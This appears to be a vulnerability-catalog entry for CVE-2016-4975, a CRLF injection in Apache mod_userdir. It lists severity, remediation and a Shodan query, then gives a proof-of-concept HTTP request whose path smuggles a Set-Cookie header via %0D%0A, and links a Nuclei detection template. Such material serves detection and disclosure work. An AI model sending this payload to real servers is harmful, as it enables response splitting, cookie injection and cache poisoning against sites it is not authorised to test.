| Title | Apache mod_userdir CRLF injection |
|---|---|
| Author | melbadry9,nadino,xElkomy |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability can lead to various attacks such as session hijacking, cross-site scripting (XSS), and cache poisoning. |
| Remediation | Upgrade to Apache HTTP Server 2.2.32/2.4.25 or higher. |
| CVSS Score | 6.1 |
| EPSS Score | 0.73014 |
| CVE ID | CVE-2016-4975 |
| CWE ID | CWE-93 |
| Shodan Query | cpe:"cpe:2.3:a:apache:http_server"apache 2.4.49 |
| Tags | cve2016 cve crlf apache xss vuln |
Apache CRLF injection allowing HTTP response splitting attacks on sites using mod_userdir.
GET /~user/%0D%0ASet-Cookie:crlfinjection HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-4975.yaml
🦈 Packet Capture: ⬇️ Download cve-2016-4975.pcap
N/AN/A